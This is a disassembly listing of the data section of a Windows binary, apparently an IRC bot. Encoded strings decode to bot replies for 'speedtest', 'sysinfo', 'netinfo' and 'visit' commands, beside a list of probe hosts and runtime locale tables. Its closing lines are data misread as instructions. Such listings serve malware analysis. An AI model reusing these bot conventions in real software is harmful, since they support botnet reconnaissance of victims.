align 4 aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41B33E+2Ao align 4 aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41B33E+31o align 4 aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41B33E+38o align 4 aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41B33E+3Fo align 4 aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41B33E+46o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41B33E+4Do align 10h aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41B33E+54o align 4 aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41B33E+5Bo align 4 aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41B33E+62o aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41B33E+69o aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41B33E+70o align 4 aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41B33E+77o align 4 aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41B33E+7Eo align 4 aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41B33E+85o align 4 aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41B33E+8Co align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41B33E+93o align 4 aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41B33E+9Ao align 4 aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41B33E+A1o aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41B33E+A8o align 4 aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41B33E+AFo align 4 aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41B33E+B6o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41B33E+BDo aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41B33E+C4o align 8 dword_4514F8 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h ; DATA XREF: sub_41B33E+1A7o dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h dd 25203A02h, 626B2064h, 732F7469h, 0 dword_451558 dd 20646425h, 20686425h, 6D6425h ; DATA XREF: sub_41B51B+39o dword_451564 dd 3539h ; DATA XREF: sub_41B6C1+46o dword_451568 dd 544Eh ; DATA XREF: sub_41B6C1+5Ao dword_45156C dd 3839h ; DATA XREF: sub_41B6C1+6Co dword_451570 dd 454Dh ; DATA XREF: sub_41B6C1+7Eo dword_451574 dd 4B32h ; DATA XREF: sub_41B6C1+98o dword_451578 dd 5058h ; DATA XREF: sub_41B6C1+AAo a2003 db '2003',0 ; DATA XREF: sub_41B6C1+BAo align 4 a??? db '???',0 ; DATA XREF: sub_41B6C1:loc_41B784o aSS_6 db '%s (%s)',0 ; DATA XREF: sub_41B6C1+EBo word_451590 dw 3Fh ; DATA XREF: sub_41B6C1:loc_41B7C3r align 4 aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41B6C1:loc_41B825o align 4 aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_41B6C1+192o aHhMmSs_0 db 'HH:mm:ss',0 ; DATA XREF: sub_41B6C1+1AEo align 8 dword_4515C8 dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah ; DATA XREF: sub_41B6C1+297o dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh dword_4516A4 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41B975+48o dword_4516B4 dd 6C616944h, 70752Dh ; DATA XREF: sub_41B975+5Eo off_4516BC dd offset dword_4E414C ; DATA XREF: sub_41B975:loc_41B9E2o off_4516C0 dd offset loc_412F4D+1 ; DATA XREF: sub_41B975+77o off_4516C4 dd offset loc_412F4D+1 ; DATA XREF: sub_41B975+88o dword_4516C8 dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_41B975+AEo dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh dword_45170C dd 2A2F2Ah ; DATA XREF: sub_41BA41+3Bo dword_451710 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_41BA41+192o dd 64657469h, 2Eh unk_45172C db 2Dh ; - ; DATA XREF: sub_41BA41:loc_41BBDAo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 4 dword_451768 dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h ; DATA XREF: sub_41BA41+1A6o dd 4C525520h, 2Eh unk_451784 db 2Dh ; - ; DATA XREF: sub_41BA41:loc_41BBF7o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 10h unk_4517B0 db 2Dh ; - ; DATA XREF: sub_41BA41:loc_41BBFEo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 10h dword_4517E0 dd 1 ; DATA XREF: sub_41BF80+10r ; sub_41BF80+F2r ... dword_4517E4 dd 25h ; DATA XREF: sub_41BF80:loc_41BFCCr ; sub_41BF80:loc_41C135r ... dword_4517E8 dd 0FFFFFFFFh ; DATA XREF: sub_41BF80+58r ; sub_41C3F0+9Er ... byte_4517EC db 0FDh ; DATA XREF: sub_41BF80+2B7r ; sub_41BF80+2D1r ... byte_4517ED db 0DDh ; DATA XREF: sub_41CA80+257r ; sub_41CA80+39Br ... byte_4517EE db 0CDh ; DATA XREF: sub_41BF80+2F1r ; sub_41C3F0+377r align 10h off_4517F0 dd offset aFree ; DATA XREF: sub_41CA80+177r ; sub_41CA80+1DDr ... ; "Free" dd offset dword_43C514+20h dd offset dword_43C514+1Ch dd offset dword_43C514+14h dd offset dword_43C514+0Ch align 10h dword_451810 dd 173Fh ; DATA XREF: sub_41FFF0+Br dd 9875h, 9873h off_45181C dd offset sub_420130 ; DATA XREF: sub_41E860+3r ; sub_41E860+Cr dd offset sub_420160 dd offset sub_420160 dword_451828 dd 1B3Fh ; DATA XREF: sub_420210+Br dword_45182C dd 19930520h, 4 dup(0) ; DATA XREF: sub_4207FD+2o ; sub_420806+2o off_451840 dd offset sub_41E8C0 ; DATA XREF: sub_422270+22r dword_451844 dd 2 ; DATA XREF: sub_42FEE0+15r ; sub_42FF30+86r ... off_451848 dd offset dword_4F3A20 ; DATA XREF: sub_4222D0+B3o ; sub_422420+3o ... align 10h dd offset dword_4F3A20 dd 101h dword_451858 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4222D0+11Cw dd 1000h, 0 dword_451868 dd 3 dup(0) ; DATA XREF: sub_427CE0+111o ; sub_429C90:loc_429CE3o dd 2, 0FFFFFFFFh, 3 dup(0) dword_451888 dd 3 dup(0) ; DATA XREF: sub_427CE0+11Ao ; sub_429C90:loc_429CF5o dd 2, 0FFFFFFFFh, 83h dup(0) dword_451AA8 dd 8 dup(0) ; DATA XREF: sub_422420+Co ; sub_422490+Co dword_451AC8 dd 0FFFFFFFFh ; DATA XREF: sub_422610+80o ; sub_422610+108o ... dword_451ACC dd 2 ; DATA XREF: _0:0042252Er _0:00422549r ... dd 2 dup(4) dword_451AD8 dd 0FFFFFFFFh ; DATA XREF: _0:00422590r _0:0042259Cr ... dd 2 dup(0FFFFFFFFh) off_451AE4 dd offset aWarning ; DATA XREF: sub_4229A0+284r ; "Warning" dd offset aError ; "Error" dd offset dword_43CDF4+8 dword_451AF0 dd 0 ; DATA XREF: sub_4231E0+1Fr ; sub_4231E0+44r ... off_451AF4 dd offset dword_4F3380 ; DATA XREF: sub_4231A0+29r ; sub_4231E0+8Fr dd 7 dup(0) off_451B14 dd offset dword_4F33B0 ; DATA XREF: sub_4231A0+1Cr ; sub_4231E0:loc_423249r dd 3 dup(0) off_451B24 dd offset dword_4F33C8 ; DATA XREF: sub_4231A0+Fr ; sub_4231E0+75r dd 3 dup(0) off_451B34 dd offset byte_4F3398 ; DATA XREF: sub_4231A0+3r ; sub_4231E0+82r dd 7 dup(0) dd 0AA27F8h, 16h dup(0) off_451BB0 dd offset sub_423610 ; DATA XREF: sub_41BF80+79r ; sub_41C3F0+C1r ... align 8 off_451BB8 dd offset off_451BB8 ; DATA XREF: sub_425D50+Fo ; sub_425D50+7Ao ... off_451BBC dd offset off_451BB8 ; DATA XREF: sub_425D50:loc_425DE6r ; sub_425D50+9Fw ... dd offset dword_451BD0 dd offset dword_451BD0 dword_451BC8 dd 0FFFFFFFFh ; DATA XREF: sub_425D50+6r ; sub_425F30:loc_425F97w dd 0FFFFFFFFh dword_451BD0 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: _2:00451BC0o ; _2:00451BC4o off_453BD8 dd offset off_451BB8 ; DATA XREF: sub_425F30+17r ; sub_425F30+28w ... dword_453BDC dd 1E0h ; DATA XREF: sub_4234C0+AEr ; sub_423620+146r ... dd 10h off_453BE4 dd offset word_453BEE ; DATA XREF: sub_41DF10+7Cr ; sub_41E610+2Dr ... off_453BE8 dd offset word_453BEE ; DATA XREF: sub_434A80+2A4w ; sub_434A80+35Bw ... db 2 dup(0) word_453BEE dw 20h ; DATA XREF: sub_434A80:loc_434DD1o ; sub_434A80+35Bo ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_453DF0 dd 1 ; DATA XREF: sub_41DF10+4Er ; sub_41E610:loc_41E616r ... byte_453DF4 db 2Eh ; DATA XREF: sub_429E90:loc_42AD17r ; sub_429E90+ED2r ... align 4 dword_453DF8 dd 1 ; DATA XREF: sub_4342F0+169w ; sub_4342F0+296w off_453DFC dd offset aNull_0 ; DATA XREF: sub_427F60:loc_4283A2r ; sub_427F60+57Cr ; "(null)" off_453E00 dd offset aNull ; DATA XREF: sub_427F60+514r ; "(null)" dword_453E04 dd 3 ; DATA XREF: sub_428E00+Fw ; sub_428E00+14r ... byte_453E08 db 1 ; DATA XREF: sub_4290B0+12Fr db 2, 4, 8 align 10h dword_453E10 dd 3A4h ; DATA XREF: sub_4290B0+7Er word_453E14 dw 8260h ; DATA XREF: sub_4290B0+192r dw 8279h dd 21h, 0 dword_453E20 dd 0DFA6h ; DATA XREF: sub_4290B0+D5r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_453F00 dd 1 ; DATA XREF: sub_4299F0+2Cr dword_453F04 dd 16h ; DATA XREF: sub_4299F0+3Dr dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_454068 dd 0D2D0920h, 5Dh ; DATA XREF: sub_429E90:loc_42A2B2o dword_454070 dd 5Dh, 0 ; DATA XREF: sub_429E90:loc_42A28Do dword_454078 dd 14h ; DATA XREF: sub_42BF40+1Fr off_45407C dd offset aExp ; DATA XREF: sub_42BF40+2Er ; "exp" dd 1Dh, 43D2E4h, 1Ah, 43D2E0h, 1Bh, 43D2D8h, 1Fh, 43D2D0h dd 13h, 43D2C8h, 21h, 43D2C0h, 0Eh, 43D2B8h, 0Dh, 43D2B0h dd 0Fh, 43D2A8h, 10h, 43D2A0h, 5, 43D298h, 1Eh, 43D294h dd 12h, 43D290h, 20h, 43D28Ch, 0Ch, 43D284h, 0Bh, 43D27Ch dd 15h, 43D274h, 1Ch, 43D26Ch, 19h, 43D264h, 11h, 43D25Ch dd 18h, 43D254h, 16h, 43D24Ch, 17h, 43D244h, 22h, 43D240h dd 23h, 43D23Ch, 24h, 43D238h dbl_454150 dq 1.797693134862316e308 ; DATA XREF: sub_42BAE0+E4r ; sub_42BAE0:loc_42BBD7r ... dd 0 dd 0FFF80000h dbl_454160 dq 1.797693134862316e308 ; DATA XREF: sub_42BAE0:loc_42BC1Ar ; sub_42BAE0+167r ... dd 0 dd 100000h, 0 dd 80000000h tbyte_454178 dt 2.3562723457267347066e313 ; DATA XREF: sub_42C330+13r ; sub_42C330+2Ar align 4 tbyte_454184 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_42C330+41r align 10h off_454190 dd offset sub_42CB20 ; DATA XREF: sub_420170+3w ; sub_427F60+6ADr off_454194 dd offset sub_42C530 ; DATA XREF: sub_420170+Dw ; sub_427F60+6F1r off_454198 dd offset sub_42C640 ; DATA XREF: sub_420170+17w ; sub_429E90+1138r off_45419C dd offset sub_42C480 ; DATA XREF: sub_420170+21w ; sub_427F60+6CFr off_4541A0 dd offset sub_42C610 ; DATA XREF: sub_420170+2Bw off_4541A4 dd offset sub_42CB20 ; DATA XREF: sub_420170+35w dd offset sub_432EE0 align 10h off_4541B0 dd offset sub_42D860 ; DATA XREF: sub_42D910+2Dr ; sub_42D910+3Dr dword_4541B4 dd 43h ; DATA XREF: sub_42DE80:loc_42DFECo ; _2:004542D0o ... dword_4541B8 dd 43h, 20h dup(0) ; DATA XREF: sub_42E120+8Do ; sub_42E120+117o ... dword_45423C dd 43h, 20h dup(0) ; DATA XREF: sub_42E120+74o ; sub_42E120+FCo ... off_4542C0 dd offset aLc_all ; DATA XREF: _0:0042DC0Fr _0:0042DC28r ... ; "LC_ALL" dword_4542C4 dd 0 ; DATA XREF: _0:0042DB07r _0:0042DDB0r ... off_4542C8 dd offset sub_42E2B0 ; DATA XREF: sub_42DE80+12Br dd offset aLc_collate ; "LC_COLLATE" dd offset dword_4541B4 dd offset sub_434E20 dd offset aLc_ctype ; "LC_CTYPE" off_4542DC dd offset dword_4541B4 ; DATA XREF: sub_42E020+F0r dd offset sub_434A80 dd offset aLc_monetary ; "LC_MONETARY" dd offset dword_4541B4 dd offset sub_434620 dd offset aLc_numeric ; "LC_NUMERIC" dd offset dword_4541B4 dd offset sub_4342F0 dd offset aLc_time ; "LC_TIME" dd offset dword_4541B4 dd offset sub_433970 dword_454308 dd 0C0000005h, 0Bh, 0 ; DATA XREF: sub_428EC0+6o ; _0:0042904Eo ... dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_454380 dd 3 ; DATA XREF: sub_42EFB0+98r ; sub_42EFB0:loc_42F05Br ... dword_454384 dd 7 ; DATA XREF: sub_42EFB0+B1r ; sub_4307E0+17Dr dword_454388 dd 78h ; DATA XREF: _0:00430658r _0:00430676r dword_45438C dd 0Ah ; DATA XREF: sub_42F170+1Dr ; sub_42F170:loc_42F1A2r ... dword_454390 dd 0FFFFFFFFh, 0A00h, 8 dup(0) ; DATA XREF: sub_427100:loc_427256o ; sub_427CE0:loc_427ED9o dword_4543B8 dd 2 ; DATA XREF: sub_42FF30+2Ar ; sub_42FF30+3Dr ... off_4543BC dd offset aR6002FloatingP ; DATA XREF: sub_42FF30+56r ; sub_42FF30+98r ... ; "R6002\r\n- floating point not loaded\r\n" dd 8, 43D694h, 9, 43D668h, 0Ah, 43D644h, 10h, 43D618h dd 11h, 43D5E8h, 12h, 43D5C4h, 13h, 43D598h, 18h, 43D560h dd 19h, 43D538h, 1Ah, 43D500h, 1Bh, 43D4C8h, 1Ch, 43D4A0h dd 78h, 43D490h, 79h, 43D480h, 7Ah, 43D470h, 0FCh, 43D46Ch dd 0FFh, 43D45Ch, 2 dup(0) dword_454450 dd 2694h ; DATA XREF: sub_42B3B0+3r ; _0:0042B41Fr ... align 8 dword_454458 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_432A20+3o dword_454470 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_432A40+3o dword_454488 dd 7080h ; DATA XREF: sub_42D9A0+92r ; sub_433090+80w ... dword_45448C dd 1 ; DATA XREF: sub_42D9A0+C2r ; sub_433090+BFw ... dword_454490 dd 0FFFFF1F0h ; DATA XREF: sub_42D9A0+DEr ; sub_433090+D7w ... dword_454494 dd 545350h, 0Fh dup(0) ; DATA XREF: _2:off_454514o dword_4544D4 dd 544450h, 0Fh dup(0) ; DATA XREF: _2:off_454518o off_454514 dd offset dword_454494 ; DATA XREF: sub_433090+FAr ; sub_433090+123r ... off_454518 dd offset dword_4544D4 ; DATA XREF: sub_433090+140r ; sub_433090+16Ar ... align 10h dword_454520 dd 0FFFFFFFFh ; DATA XREF: sub_433090+30w ; sub_433470+1Ar ... dword_454524 dd 0 ; DATA XREF: sub_433470:loc_43366Br ; sub_433470+20Fr ... dword_454528 dd 0 ; DATA XREF: sub_433470+2CFr ; sub_433770+13Dw align 10h dword_454530 dd 0FFFFFFFFh ; DATA XREF: sub_433090+21w ; sub_433090+2Br ... dword_454534 dd 0 ; DATA XREF: sub_433470+201r ; sub_433470+21Dr ... dword_454538 dd 0 ; DATA XREF: sub_433470+2E5r ; sub_433770+1Dr ... dword_45453C dd 0FFFFFFFFh ; DATA XREF: sub_433770+B0r dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h dd 14Eh dword_45456C dd 16Dh ; DATA XREF: sub_42D9A0+2Er ; sub_433770+2Cr ... dword_454570 dd 0FFFFFFFFh ; DATA XREF: sub_433770+BFr dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh dd 14Dh, 16Ch, 3 dup(0) dword_4545B0 dd 40Ah ; DATA XREF: sub_4359D0+3Er ; sub_4359D0+147r a040a db '040a',0 ; DATA XREF: sub_4359D0+9Ao align 4 off_4545BC dd offset aSpanishTraditi ; DATA XREF: sub_4359D0+ABr ; "Spanish - Traditional Sort" off_4545C0 dd offset loc_505345 ; DATA XREF: sub_4359D0+BCo off_4545C4 dd offset aSpain ; DATA XREF: sub_4359D0+CDr ; "Spain" off_4545C8 dd offset loc_505345 ; DATA XREF: sub_4359D0+DEo dword_4545CC dd 303538h, 0 ; DATA XREF: sub_4359D0+EFo a1252 db '1252',0 ; DATA XREF: sub_4359D0+100o align 4 dd 40Bh, 62303430h, 0 dd offset aFinnish ; "Finnish" dd offset word_4E4946 dd offset aFinland ; "Finland" dd offset word_4E4946 dd 303538h, 0 a1252_0 db '1252',0 align 4 dd 40Ch, 63303430h, 0 dd offset aFrench ; "French" dd offset loc_415246 dd offset aFrance ; "France" dd offset loc_415246 dd 303538h, 0 a1252_1 db '1252',0 align 4 dd 40Fh, 66303430h, 0 dd offset aIcelandic ; "Icelandic" dd offset byte_4C5349 dd offset aIceland ; "Iceland" dd offset byte_4C5349 dd 303538h, 0 a1252_2 db '1252',0 align 10h dd 41Dh, 64313430h, 0 dd offset aSwedish ; "Swedish" dd offset byte_455653 dd offset aSweden ; "Sweden" dd offset byte_455753 dd 303538h, 0 a1252_3 db '1252',0 align 4 dd 42Dh, 64323430h, 0 dd offset aBasque ; "Basque" dd offset byte_515545 dd offset aSpain ; "Spain" dd offset loc_505345 dd 303538h, 0 a1252_4 db '1252',0 align 4 db 0Ah db 8,0 align 4 a080a db '080a',0 align 4 dd offset aSpanish ; "Spanish" dd offset byte_4D5345 dd offset aMexico ; "Mexico" dd 58454Dh, 303538h, 0 a1252_5 db '1252',0 align 4 dd 80Ch, 63303830h, 0 dd offset aFrench ; "French" dd offset loc_425244+2 dd offset aBelgium ; "Belgium" dd offset word_4C4542 dd 303538h, 0 a1252_6 db '1252',0 align 10h dd 0C07h, 37306330h, 0 dd offset aGerman ; "German" dd offset loc_414542+2 dd offset aAustria ; "Austria" dd 545541h, 303538h, 0 a1252_7 db '1252',0 align 4 dd 0C09h, 39306330h, 0 dd offset aEnglish ; "English" dd offset loc_414E40+5 dd offset aAustralia ; "Australia" dd 535541h, 303538h, 0 a1252_8 db '1252',0 align 4 dd 0C0Ah, 61306330h, 0 dd offset aSpanishModernS ; "Spanish - Modern Sort" dd offset byte_4E5345 dd offset aSpain ; "Spain" dd offset loc_505345 dd 303538h, 0 a1252_9 db '1252',0 align 4 dd 0C0Ch, 63306330h, 0 dd offset aFrench ; "French" dd offset loc_435240+6 dd offset aCanada ; "Canada" dd offset byte_4E4143 dd 303538h, 0 a1252_10 db '1252',0 align 10h dd 100Ah, 61303031h, 0 dd offset aSpanish ; "Spanish" dd offset byte_475345 dd offset aGuatemala ; "Guatemala" dd offset byte_4D5447 dd 303538h, 0 a1252_11 db '1252',0 align 4 dd 100Ch, 63303031h, 0 dd offset aFrench ; "French" dd 535246h, 43D8DCh, 454843h, 303538h, 0 a1252_12 db '1252',0 align 4 dd 140Ah, 61303431h, 0 dd offset aSpanish ; "Spanish" dd offset loc_435343+2 dd offset aCostaRica ; "Costa Rica" dd offset byte_495243 dd 303538h, 0 a1252_13 db '1252',0 align 4 dd 140Ch, 63303431h, 0 dd offset aFrench ; "French" dd offset word_4C5246 dd offset aLuxembourg ; "Luxembourg" dd 58554Ch, 303538h, 0 a1252_14 db '1252',0 align 10h dd 180Ah, 61303831h, 0 dd offset aSpanish ; "Spanish" dd offset loc_41533E+7 dd offset aPanama ; "Panama" dd offset dword_4E4150 dd 303538h, 0 a1252_15 db '1252',0 align 4 dd 1C09h, 39306331h, 0 dd offset aEnglish ; "English" dd 534E45h, 43D8ACh, 46415Ah, 373334h, 0 a1252_16 db '1252',0 align 4 dd 1C0Ah, 61306331h, 0 dd offset aSpanish ; "Spanish" dd offset aHallowell+1 dd offset aDominicanRepub ; "Dominican Republic" dd offset dword_4D4F44 dd 303538h, 0 a1252_17 db '1252',0 align 4 db 0Ah db ' ',0 align 4 a200a db '200a',0 align 10h dd offset aSpanish ; "Spanish" dd 565345h, 43D88Ch, 4E4556h, 303538h, 0 a1252_18 db '1252',0 align 10h db 0Ah db '$',0 align 4 a240a db '240a',0 align 4 dd offset aSpanish ; "Spanish" dd offset off_4F5344+1 dd offset aColombia ; "Colombia" dd offset byte_4C4F43 dd 303538h, 0 a1252_19 db '1252',0 align 4 db 0Ah db '(',0 align 10h a280a db '280a',0 align 4 dd offset aSpanish ; "Spanish" dd 525345h, 43D878h, 524550h, 303538h, 0 a1252_20 db '1252',0 align 4 db 0Ah db ',',0 align 4 a2c0a db '2c0a',0 align 4 dd offset aSpanish ; "Spanish" dd 535345h, 43D86Ch, 475241h, 303538h, 0 a1252_21 db '1252',0 align 4 a0_0 db 0Ah db '0',0 align 4 a300a db '300a',0 align 10h dd offset aSpanish ; "Spanish" dd offset byte_465345 dd offset aEcuador ; "Ecuador" dd 554345h, 303538h, 0 a1252_22 db '1252',0 align 10h a4 db 0Ah db '4',0 align 4 a340a db '340a',0 align 4 dd offset aSpanish ; "Spanish" dd offset byte_4C5345 dd offset aChile ; "Chile" dd offset byte_4C4843 dd 303538h, 0 a1252_23 db '1252',0 align 4 a8 db 0Ah db '8',0 align 10h a380a db '380a',0 align 4 dd offset aSpanish ; "Spanish" dd 595345h, 43D854h, 595255h, 303538h, 0 a1252_24 db '1252',0 align 4 db 0Ah db '<',0 align 4 a3c0a db '3c0a',0 align 4 dd offset aSpanish ; "Spanish" dd 5A5345h, 43D848h, 595250h, 303538h, 0 a1252_25 db '1252',0 align 4 word_454A54 dw 0C0Ch, 0C1Ah, 1007h, 436h, 80Ch, 42Dh, 403h, 100Ch ; DATA XREF: sub_4358A0+34r dw 810h, 81Dh off_454A68 dd offset aAmerica ; DATA XREF: sub_434EB0+9Co ; "america" dd offset loc_415355 dd offset aBritain ; "britain" dd 524247h, 43DA9Ch, 4E4843h, 43DA94h, 455A43h, 43DA8Ch dd 524247h, 43DA7Ch, 524247h, 43DA74h, 444C4Eh, 43DA68h dd 474B48h, 43DA5Ch, 4C5A4Eh, 43DA58h, 4C5A4Eh, 43DA4Ch dd 4E4843h, 43DA40h, 4E4843h, 43DA34h, 495250h, 43DA2Ch dd 4B5653h, 43DA1Ch, 46415Ah, 43DA10h, 524F4Bh, 43DA00h dd 46415Ah, 43D9F4h, 524F4Bh, 43D9E0h, 4F5454h, 43DABCh dd 524247h, 43D9D0h, 524247h, 43D9C0h, 415355h, 43DAB8h dd 415355h off_454B20 dd offset aAmerican ; DATA XREF: sub_434EB0+67o ; "american" dd 554E45h, 43DEA8h, 554E45h, 43DE94h, 554E45h, 43DE88h dd 414E45h, 43DE80h, 424C4Eh, 43DE74h, 434E45h, 43DE70h dd 48485Ah, 43DE6Ch, 49485Ah, 43DE64h, 534843h, 43DE50h dd 48485Ah, 43DE3Ch, 534843h, 43DE28h, 49485Ah, 43DE14h dd 544843h, 43DE04h, 424C4Eh, 43DDF0h, 554E45h, 43DDE4h dd 414E45h, 43DDD4h, 4C4E45h, 43DDC8h, 434E45h, 43DDB4h dd 424E45h, 43DDA8h, 494E45h, 43DD98h, 4A4E45h, 43DD8Ch dd 5A4E45h, 43DD74h, 534E45h, 43DD58h, 544E45h, 43DD4Ch dd 474E45h, 43DD40h, 554E45h, 43DD34h, 554E45h, 43DD24h dd 425246h, 43DD14h, 435246h, 43DD00h, 4C5246h, 43DCF0h dd 535246h, 43DCE0h, 414544h, 43DCCCh, 434544h, 43DCB8h dd 4C4544h, 43DCA8h, 534544h, 43DC98h, 494E45h, 43DC88h dd 535449h, 43DC7Ch, 524F4Eh, 43DC68h, 524F4Eh, 43DC54h dd 4E4F4Eh, 43DC3Ch, 425450h, 43DC28h, 535345h, 43DC18h dd 425345h, 43DC08h, 4C5345h, 43DBF4h, 4F5345h, 43DBE0h dd 435345h, 43DBC4h, 445345h, 43DBB4h, 465345h, 43DBA0h dd 455345h, 43DB8Ch, 475345h, 43DB78h, 485345h, 43DB68h dd 4D5345h, 43DB58h, 4E5345h, 43DB44h, 495345h, 43DB34h dd 415345h, 43DB20h, 5A5345h, 43DB10h, 525345h, 43DAFCh dd 555345h, 43DAECh, 595345h, 43DAD8h, 565345h, 43DAC8h dd 465653h, 43DAC0h, 534544h, 43DABCh, 474E45h, 43DAB8h dd 554E45h, 43DAB4h, 554E45h off_454D28 dd offset off_454D30 ; DATA XREF: sub_433970+70w ; sub_433970:loc_433A11w ... align 10h off_454D30 dd offset aSun ; DATA XREF: sub_433970:loc_433A11o ; _2:off_454D28o ; "Sun" dd offset aMon ; "Mon" dd offset aTue ; "Tue" dd offset aWed ; "Wed" dd offset aThu ; "Thu" dd offset aFri ; "Fri" dd offset aSat ; "Sat" dd offset aSunday ; "Sunday" dd offset aMonday ; "Monday" dd offset aTuesday ; "Tuesday" dd offset aWednesday ; "Wednesday" dd offset aThursday ; "Thursday" dd offset aFriday ; "Friday" dd offset aSaturday ; "Saturday" dd offset aJan ; "Jan" dd offset aFeb ; "Feb" dd offset aMar ; "Mar" dd offset aApr ; "Apr" dd offset aMay ; "May" ; --------------------------------------------------------------------------- mov ah, 0DFh inc ebx add [eax-53FFBC21h], dh loc_454D85: ; CODE XREF: _2:00454DA4j fild word ptr [ebx+0] test al, 0DFh inc ebx add [edi+ebx*8-205FFFBDh], ah inc ebx add [edi+ebx*8-206BFFBDh], bl inc ebx add [eax-7FFFBC21h], cl fild word ptr [ebx+0] js short loc_454D85 inc ebx add [eax+700043DFh], bh fild word ptr 